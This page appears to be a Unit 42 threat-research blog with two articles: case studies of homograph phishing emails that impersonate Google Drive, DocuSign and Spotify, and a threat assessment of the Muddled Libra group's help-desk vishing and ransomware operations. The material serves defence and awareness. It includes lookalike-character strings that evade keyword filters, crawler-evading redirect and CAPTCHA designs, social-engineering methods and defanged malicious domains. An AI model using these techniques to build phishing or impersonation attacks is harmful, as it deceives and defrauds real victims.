Attackers manipulate characters in the display names of emails to resemble legitimate entities to make it challenging for recipients to detect fraudulent messages. These messages are likely to include homograph characters in other headers as well, to make the emails pass as legitimate.

The following case studies, which we have seen in the wild, demonstrate using homographs in different email headers and fields, emphasizing the threat. These case studies relate to different email homograph attack scenarios that follow similar patterns.

Case Study 1: File Sharing on Google Drive

In this attack scenario, attackers shared a file on Google Drive. They used an email account that had a display name and Google account logo mimicking those of a well-known, multi-national American company that offers financial services such as online banking.

The email address itself had nothing to do with the impersonated company, but the account name included homograph characters to imitate the appearance of the company’s name. We have obfuscated this information to protect the privacy of the impersonated organization.

Built-in security filters failed to detect this as an impersonation attempt or to categorize the content as malicious. Figure 1 shows a redacted version of the email.

Screenshot of an email notification from Google Workspace indicating that a named individual has shared an item on Google Drive, with a suspicious entry alert displayed. Some of the information is redacted for security concerns.
Figure 1. An email stating that a file was shared with the target on Google Drive.

The attackers shared documents that discussed “suspicious entries” to the target’s account, suggesting they take action by clicking the VERIFY button provided in the file, as Figure 2 shows.

An online human verification screen featuring a captcha box with a checkbox labeled "I'm not a robot," including the reCAPTCHA logo by Google, and a red "VERIFY" button.
Figure 2. In the document that was shared with the target, the VERIFY button redirects the target to an attacker-controlled website.

Although the website (messageconnection.blob.core[.]windows[.]net) was not operational at the time of our investigation, it’s likely the attacker would have used it to steal credentials, or potentially even to exploit the workstation of a target that accessed it.

Case Study 2: Links to Documents for Review and E-Signing

In another attack scenario that we investigated, threat actors used homograph substitutes to impersonate e-document sharing platforms. These platforms are used to electronically sign contracts, agreements and other documentation.

In this case, the attackers shared links, supposedly to documents ready for signing. This document prompted potential victims to click a link that redirected them to an attacker-controlled website. Although the attacker sent the mail from an address unrelated to any legitimate platform, both the display name and the subject of this email contained words with non-Latin homograph characters (marked in bold):

  • Display name: Included the words Сonfidеntiаl and Ꭲiꮯkеt
  • Subject: Included the words Finаnꮯiаl and Տtаtеmеnt

While it might be easier to spot these irregularities in this case, some programs render such characters to look like Latin letters, making it harder to distinguish them from Latin characters.

The subject also included a homograph manipulation of the target’s company name meant to create an impression that this email originated from the target’s company. As a result, the malicious email evaded detection and filters. Ultimately, the mail platform categorized the message as a valid email that reached the target’s inbox.

Attackers crafted the various buttons and URLs in the email and interfaces to lead the target to a fake login page. They customized the URL of the login page to the target’s organization and added a custom-made CAPTCHA to filter out bots and crawlers.

In this specific example, the target’s name appeared in the “Assigned to” section, making the email look like it was crafted specifically for that person. The email content itself displayed the company name in the PDF filename and in the “Powered by” section. The threat actor also added DocuSign branding and information to the content of the mail.

All of these aspects of the email strengthened the impression that an employee of the target’s company sent this communication through a genuine document sharing service. Figure 3 shows the email that was disguised to look like a message from DocuSign.

Email notification from DocuSign indicating a document titled "Financial_Statement____.pdf" is pending review and signature, with a red "Sign Documents" button and instructions on how to securely sign the document electronically. Some of the information is redacted for security concerns.
Figure 3. Email prompting the target to sign documents “Powered by” the target’s company.

Clicking the SIGN DOCUMENTS button in the email shown above redirects the victim to a website that looks legitimate, and is even hosted by a legitimate .com top-level domain (TLD): bestseoservices[.]com. Figure 4 shows the interface message, which prompts the victim to click another button to verify their identity. This additional step is potentially intended to prevent crawlers from interacting with the site and detecting its malicious nature.

Screenshot of a secure document verification page with a blue padlock icon, featuring a button labeled 'Verify it's you' and text encouraging verification to view a document.
Figure 4. Redirection after clicking SIGN DOCUMENTS.

Clicking the “Verify it's you” button initiates a series of redirects designed to further lull the target into a false sense of security. First, the victim is redirected to the /templates directory of a legitimate website belonging to a municipality in the Middle East. This likely serves to mask the malicious intent of the attack.

The website displays a message stating that it is performing an identity scan. Figure 5 shows that the screen then presents a SCAN VALIDATED message, further reinforcing the illusion of legitimacy. Finally, after this elaborate charade, the target is redirected to a domain under the .ru TLD (kig.skyvaulyt[.]ru), which was not active at the time of our investigation.

A screenshot displaying a fake Microsoft verification prompt in a web browser, asking to type the green number before time runs out, showing the numbers 1972. The background tabs and interface elements are blurred.
Figure 5. Fake validation page that redirects to the .ru domain.

In a separate email, threat actors used a similar method in the initial attack stages. In this case, after clicking a button from a different document sharing email, the victim is redirected to the page shown in Figure 6. The attacker designed this page to filter out bots and crawlers by forcing the victim to insert a one-time password (OTP) that changes every time they type a green number, as shown in Figures 6 and 7.

Screenshot of a fake Microsoft verification page with an unsuccessful login attempt message stating "Incorrect. Try again," and options to type a green number before time runs out.
Figure 6. The login page presented after interaction with the email, displaying a custom-made CAPTCHA.
A screenshot displaying an error message on a browser with the URL indicating a Microsoft domain. The message states there is a problem with the proxy server or the address is incorrect, and suggests checking the proxy settings or running Windows Network Diagnostics. An error code at the bottom reads "ERR_PROXY_CONNECTION_FAILED".
Figure 7. The OTP code is dynamic and changes on each keypress to filter out bots and crawlers.

After inserting the OTP code successfully, a page that mimics a Microsoft domain is presented: mlcorsftpsswddprotcct.approaches.it[.]com. The obfuscated URL parameters shown in Figure 8 display the target mailbox.

We suspect that the threat actors customized the site to be accessible only to targeted users, effectively filtering out other access attempts. This website was not active at the time of our investigation.

Screenshot of a spoofed Spotify customer support email addressing a reported problem with the use of Spotify on an iPhone. The email details steps to ensure the app is updated and suggests disabling Spotify Connect. A sign-off from the Spotify Support Team is included at the bottom.
Figure 8. The redirection after inserting the code, including the target mailbox.

Case Study 3: Spotify Impersonation Attempt

The third case that we investigated involved an impersonation of Spotify — a streaming music and podcast provider. An attacker sent an email purporting to be from Sρօtifу, using a sender address that contained non-Latin homograph characters, making it difficult to visually distinguish from a legitimate Spotify email.

Figure 9 shows the email, which stated that the recipient’s Spotify payment had not gone through and that they must update their payment details in the provided link. This link redirected the target to the legitimate redirects[.]ca URL shortening service, likely to mask the final destination and evade detection. We assume this shortened link would have led to an attacker-controlled website that the attackers could have used for credential theft or other malicious purposes.

Screenshot of a spoofed Spotify customer support email addressing a reported problem with the use of Spotify. A sign-off from the Spotify Support Team is included at the bottom.
Figure 9. The email impersonating Spotify.

By the time we investigated this scenario, the link was not active.

These case studies clearly demonstrate threat actors crafting highly targeted and convincing emails that are difficult to distinguish from legitimate communications. Without robust detection and prevention mechanisms, organizations and individuals are vulnerable to these attacks and will struggle to discern that these are malicious links and action buttons embedded in these emails.

Conclusion

The increased adoption of new AI models enables attackers to create more convincing and personalized emails. This makes it easier to deceive recipients into engaging with malicious content and harder to distinguish authentic content from fraudulent. Homograph attacks present an additional challenge to common detection methods, as standard defense mechanisms do not recognize or automatically inspect manipulated text.

An email security module that checks for the presence of words that should trigger alerts will not recognize the words pаssword, սrgent and ActᎥoո reɋuired as being problematic, because they contain homographs. As such, the module might not detect or prevent communication and sites that attackers crafted for malicious purposes. This could result in manipulated input being processed in unexpected ways.

People across the globe use computing technology in a variety of languages. It can be difficult to differentiate between potentially malicious emails and those that make reasonable and justifiable use of non-Latin characters. Even when email messages appear legitimate, there are still important factors to consider before categorizing such communication as safe:

  1. Check the address of the sender: Is it related to the display name or the mail’s content? For example, does the domain name match the company being impersonated? Does it look like the usual domains that are associated with this company?
  2. Is this address well known in your organization? Or is it a first-time sender? Be wary of emails from unknown senders, especially if they are asking for sensitive information or directing you to external links or attachments.
  3. Examine the content of the mail: Do some letters look a bit off? They might actually not be Latin characters. You can use a character inspection tool to check the Unicode values of suspicious characters.
  4. Never engage with attachments or URLs sent by unknown addresses, or that lead to addresses that seem different from the ones you are familiar with. They could be harmful. Always verify the legitimacy of links before clicking on them.

As with all email-related attacks, two of the keys to prevention are awareness and training. Treat every email that reaches your inbox with caution and follow the suggestions above whenever you encounter a suspicious email. An email with a legitimate appearance doesn’t necessarily mean that it is actually legitimate.

Palo Alto Networks Product Protections for Homograph Attacks

Palo Alto Networks Cortex Advanced Email Security is designed to help protect against modern email-based threats, featuring comprehensive detection and defense methods, including against homograph attacks. The module performs deep email analysis of email metadata, content and behavioral patterns to identify malicious intents and sophisticated impersonation attempts — even those that AI generates. Emails and alerts are assigned risk scores based on this analysis, which helps analysts reduce alert fatigue by prioritizing events with higher risk levels.

This module can be combined with Cortex XSOAR, which quarantines and removes mails for all recipients, blocks malicious and compromised senders, and disables affected user accounts.

The Attack Surface Management add-on for Cortex XSIAM also includes new Digital Risk Protection capabilities which have the ability to detect potentially risky services using permutations of customer domains, such as homographs.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Email addresses that shared files on Google Drive:

  • tioranpycon1999@attention.processverification[.]com
  • perlapersdoc1998@supportmanager.fullrecoveryaccount[.]agency

Case study 1 URLs:

  • messageconnection.blob.core[.]windows[.]net

Email addresses that sent the document-sharing emails:

  • cfa@agroparistechl[.]fr
  • brantlawassoc@bellnet[.]ca

Case study 2 URLs:

  • bestseoservices[.]com
  • kig[.]skyvaulyt[.]ru
  • hxxps://guvenbisiklet[.]com/wp-content/bin/Verify/Code/index.htm(?/1.AYWNjb3VudHNAY29vbHBvb2xsdGQuY29t)
  • microsftpsswddprotcct.approaches.it[.]com

Email address that sent the Spotify email:

  • info47198@ha01s003[.]org-dns[.]com

Note: This article makes plentiful use of special characters. Depending on the languages supported on your individual device, a PDF version of this article may not contain all the characters used. 

Muddled Libra Threat Assessment: Further-Reaching, Faster, More Impactful

Posted on by Unit 42

Executive Summary

Unit 42 has tracked and responded to several waves of intrusion operations conducted by the cybercrime group we track as Muddled Libra (aka Scattered Spider, UNC3944) across different sectors in recent months. This article contains observations on Muddled Libra thus far in 2025 based on our incident response insights. We share defensive recommendations that we have seen organizations use successfully against the threat. We also include what’s likely next for this prolific adversary.

Muddled Libra’s recent activity follows a series of international law enforcement operations aimed at disrupting the threat group in mid-to-late 2024, including federal charges levied against five suspected members in November 2024. Since that time, Muddled Libra returned with enhanced capabilities, evolving its tradecraft to be further-reaching, faster and more impactful.

Palo Alto Networks customers are better protected from the threats described in this article through a modern security architecture built around Cortex XSIAM in concert with Cortex XDR. The Advanced URL Filtering and DNS Security Cloud-Delivered Security Services can help protect against command and control (C2) infrastructure, while App-ID can limit anonymization services allowed to connect to the network.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Muddled Libra (related to Scattered Spider, Scatter Swine), 0ktapus, Social Engineering

Muddled Libra Threat Overview

As documented in prior Unit 42 publications on Muddled Libra, this group is highly adept at using various social engineering tactics (e.g., smishing, vishing) to gain initial access to targeted organizations. These activities can include targeting call centers operated by victims, as well as those outsourced to third-party firms (e.g., BPOs, MSPs), expanding the group's range of potential targets.

Attackers from Muddled Libra have become experts at exploiting human psychology via impersonating employees to attempt password and multi-factor authentication (MFA) resets. Figure 1 below further illustrates the composition of Muddled Libra in terms of their demographics, tradecraft, victim targeting and actions on objectives.

Four infographic panels illustrating cyber attack stages by Muddled Libra/Scattered Spider: 1. Demographics - focusing on Western-based, largely English fluent young entities, characterized as brash and destructive. 2. Targeting - involving business process outsourcing, telecommunications, financial services, and retail and hospitality. 3. Tradecraft - includes SIM swapping, social engineering, remote management, and ransomware. 4. Objectives - features external pivoting, intellectual property theft, cryptocurrency theft, and extortion via encryption. Logo of Palo Alto Networks and Unit 42 at the bottom right.
Figure 1. Muddled Libra threat profile.

While their tradecraft has evolved over time, Muddled Libra continues to minimize the use of malware throughout the attack chain. Whenever possible, they prefer to use a victim’s own assets against them.

Victimology Timeline: Further-Reaching

In 2025, we have observed Muddled Libra intrusion activity in the government, retail, insurance and aviation sectors as shown below in Figure 2. This group has demonstrated a pattern of targeting multiple organizations within the same sector in a relatively short period of time. However, attackers do not strictly follow this pattern and have simultaneously targeted organizations operating in different sectors.

Timeline from January to July 2025 showing key sectors affected by Muddled Libra: Government in January-March, Retail, Insurance, and Aviation in April through July. Each sector is represented by an appropriate icon: a government building, a shopping bag, a magnifying glass, and an airplane. Logo of Palo Alto Networks and Unit 42 at the bottom right.
Figure 2. Timeline of Muddled Libra sector targeting in 2025.

Muddled Libra’s Game Plan: Faster

Thus far in 2025 cases, the shift away from smishing and phishing to more direct human interaction, as well as adoption of the ransomware-as-a-service (RaaS) playbook, have drastically shortened the time this actor is in an environment. The average time from initial access to containment was 1 day, 8 hours and 43 minutes.

Since at least April 2025, the group has partnered with the DragonForce RaaS program, operated by the group we track as Slippery Scorpius, to extort victims. In one case, we observed attackers exfiltrating over 100 GB of data during a two-day period, with encryption via DragonForce ransomware deployment.

Figure 3 below illustrates how the group was able to pivot from initial access via social engineering a helpdesk employee, to escalating privileges, to domain administrator rights in about 40 minutes, as previously noted in our 2025 Global Incident Response Report.

A diagram illustrating a cybersecurity breach process. It starts with 'Helpdesk Social Engineering', followed by 'Domain Credentials Provided', 'Additional Domain Admin Creds Added', 'VMs Created', 'Virtual Drive Mounted', and finally 'Data Exfiltrated'. Icons represent each step, connected by arrows showing progression. Logo of Palo Alto Networks and Unit 42 at the bottom right.
Figure 3. Speed of Muddled Libra intrusion from initial access to domain admin.

Evolution of Muddled Libra: More Impactful

Figure 4 illustrates changes we have observed in Muddled Libra’s tradecraft that help make the group more impactful.

Flowchart illustrating various cyberattack tactics and practices, including 'Using the Oktapus phishing kit,' 'Help desk-targeted social engineering,' and others, concluding with the use of compromised infrastructure in downstream attacks. Logo of Palo Alto Networks and Unit 42 at the bottom right.
Figure 4. Muddled Libra tradecraft evolution.

Some of our notable observations are detailed in the sections below.

Initial access

(T1566.004)

Shift to voice-based phishing (aka vishing) as a primary social engineering technique to manipulate IT help desk personnel into resetting credentials and MFA for staff that attackers are attempting to impersonate; over 70% of the numbers used by this group in 2025 leveraged Google Voice as a Voice Over Internet Protocol (VoIP) service.

As an example, Muddled Libra typically calls into an organization’s help desk pretending to be a user that has lost access to their MFA device. By preying on help desk associates' natural tendency to want to be helpful, the threat actors manipulate them into bypassing organizational authentication controls and resetting both an end user’s credentials and MFA method. Another example involves calling a victim directly while claiming to be from the organization’s help desk. In this case, the threat actors manipulate the victim into launching or downloading remote management software and then proceed with the attack from the victim’s desktop.

Persistence and Lateral Movement

Using various remote monitoring and management (RMM) tools that enable re-entry if the threat actors are discovered. Frequent targeting of existing systems management tools and even endpoint detection and response (EDR) platforms, in addition to hypervisors and cloud management tools.

Credential Access

(T1003.003, T1555.005)

Dumping credentials from password vaults including NTDS.dit to achieve full enterprise password stores and Active Directory compromise, respectively.

Collection

(T1114.002, T1213.002)

Accessing victim Microsoft 365 and SharePoint instances as a means of conducting internal reconnaissance.

Exfiltration

(T1567.002)

Transferring stolen data to cloud storage services, including in some cases being sent directly from victims’ environments.

A Tale of Two Victims: Conditional Access Policies

Organizations using Microsoft Entra ID for cloud-based identity and access management (IAM) can significantly disrupt Muddled Libra intrusions by properly implementing Conditional Access Policies (CAPs).

As part of Muddled Libra threat activity, we’ve seen a significant difference in organizations’ ability to slow down attackers post-intrusion and enable more effective containment actions when CAPs are in place, limiting overall impact. In scenarios where victims had not implemented CAPs or they were configured improperly, Muddled Libra could accelerate its operational tempo to deploy ransomware (most recently DragonForce) to extort payment.

Some specific examples of CAPs that were successful in slowing down Muddled Libra include:

  • A CAP that prevents unmanaged devices from accessing sensitive resources
  • A CAP that enforces employees being on-premises to set up MFA
  • A CAP that blocks authenticators based on geographic locations (e.g., countries)
  • A CAP that requires MFA to access virtual desktop infrastructure (VDI) and/or virtual private networks (VPN)

Looking Ahead

Based on recent and historical observations of Muddled Libra, we assess with high confidence that this group will continue to play to its strengths in terms of social engineering activities. The group will also continue misusing overly permissive identities within targeted organizations to accomplish its mission objectives.

Additionally, the group is likely to persist in its cloud-first mindset. This means that its prior success in exploiting access within cloud platforms will embolden this trend going forward, especially because many organizations lack proper visibility and necessary controls to monitor and protect these environments.

Furthermore, given Muddled Libra’s success in partnering with various RaaS programs, it is unlikely to deviate from this path. These RaaS programs include:

  • Akira (Howling Scorpius)
  • ALPHV (Ambitious Scorpius)
  • DragonForce (Slippery Scorpius)
  • Play (Fiddling Scorpius)
  • Qilin (Spikey Scorpius)
  • RansomHub (Spoiled Scorpius)

Members of this group will likely continue to extort victims and monetize their intrusion operations, as it provides a streamlined process to conduct and profit from such attacks.

Finally, we expect that public and private sector information-sharing concerning Muddled Libra will continue to provide organizations with early indications of intrusion activity. This will help disrupt the group's operations. International law enforcement operations, such as the recent arrests of four individuals connected to the cyberattacks against three UK-based retailers, will hopefully act as a form of deterrence. It should also remind similar cybercrime syndicates that there are consequences for their actions. At its core, cybersecurity is a team sport and we must work collectively to gain a proactive operational advantage against this ever-evolving adversary.

Recommendations

We have a list of prevention, detection and containment measures that organizations should strongly consider implementing to address the evolving threat presented by Muddled Libra. Figure 5 below provides a macro view of these recommendations, with more descriptive measures listed thereafter.

Infographic depicting three major cybersecurity strategies: 3. Containment, including Zero Trust Network and AI-driven SOAR; 2. Detection, featuring Behavior Analytics and Intelligence Monitoring; and 1. Prevention, focusing on Awareness, Attack Surface Management, and Least Privilege. The layout uses interconnected circles in a triangular configuration, branded with Palo Alto Networks and Unit 42 logos.
Figure 5. Effective controls to defend against Muddled Libra.

Prevention:

  • Provide tailored, intelligence-driven user awareness training, especially for IT support desk personnel to be able to identify potential social engineering (vishing) attempts
  • Implement rigorous procedures for resetting account credentials and MFA, including some form of verification such as video identification or supervisor validation
  • Implement MFA (non-SMS) and conditional access policies, especially on any remote access portals
  • Strictly enforce the principle of least privilege
  • Block network traffic by App-ID to file-sharing sites and those providing access to unapproved RMM tools

Detection:

  • Identify changes to enterprise IAM infrastructure, such as newly enrolled and connected devices
  • Develop robust logging and monitoring capabilities in cloud environments
  • Develop logging of and be able to identify suspicious call center activities

Containment:

  • Segment and restrict access to virtual resources, including VMs, ESXi hosts and vCenter servers
  • Implement out-of-band communication channels in case an adversary is able to compromise traditional mediums (e.g., Slack, Teams)
  • Implement a comprehensive incident response plan and strongly consider having an active retainer in place for third-party incident response support

Conclusion

The new era of Muddled Libra has arrived, and activity from this group continues to proliferate.

Palo Alto Networks customers are better protected from the threats described in this article through a modern security architecture built around Cortex XSIAM in concert with Cortex XDR. The Advanced URL Filtering and DNS Security Cloud-Delivered Security Services can help protect against command and control (C2) infrastructure, while App-ID can limit anonymization services allowed to connect to the network.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107`

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional References

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow